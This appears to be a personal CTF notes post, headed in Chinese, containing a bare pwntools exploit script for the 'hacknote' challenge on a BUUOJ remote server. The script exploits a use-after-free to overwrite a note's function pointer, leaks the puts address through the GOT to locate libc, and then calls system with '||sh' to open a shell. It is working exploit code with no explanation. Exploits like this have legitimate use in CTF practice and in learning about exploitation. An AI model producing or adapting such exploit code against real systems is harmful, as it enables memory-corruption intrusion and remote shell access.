以前做过的题目

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. #io =process('./hacknote')
    6. io = remote("node4.buuoj.cn",27107)
    7. elf = ELF('./hacknote')
    8. #libc = ELF('libc-2.23.so')
    9. def debug():
    10.     gdb.attach(io)
    11.     pause()
    13. def creat(size,value):
    14.     io.recvuntil('Your choice :')
    15.     io.sendline('1')
    16.     io.recvuntil('Note size :')
    17.     io.sendline(str(size))
    18.     io.recvuntil('Content :')
    19.     io.sendline(value)
    22. def free(id):
    23.     io.recvuntil('Your choice :')
    24.     io.sendline('2')
    25.     io.recvuntil('Index :')
    26.     io.sendline(str(id))
    27. def show(i):
    28.     io.recvuntil('Your choice :')
    29.     io.sendline('3')
    30.     io.recvuntil('Index :')
    31.     io.sendline(str(i))
    32. puts_got  = elf.got['puts']
    33. creat(0x10,'aaaa')
    34. creat(0x10,"bbbb")
    35. free(1)
    36. free(0)
    37. payload=""
    38. payload = p32(0x080485fb)+p32(puts_got)
    39. creat(0x8,payload)
    40. show(1)
    41. puts_addr =u32(io.recv(4))
    42. log.success("puts_addr:"+hex(puts_addr))
    43. #debug()
    44. free(2)
    45. libc=LibcSearcher('puts',puts_addr)
    47. libc_base = puts_addr - libc.dump('puts')
    48. system_addr = libc_base + libc.dump('system')
    49. log.success('system:{}'.format(hex(system_addr)))
    50. binsh_addr = libc_base + libc.dump('str_bin_sh')
    51. payload = p32(system_addr)+'||sh'
    52. creat(0x8,payload)
    53. show(1)
    55. io.interactive()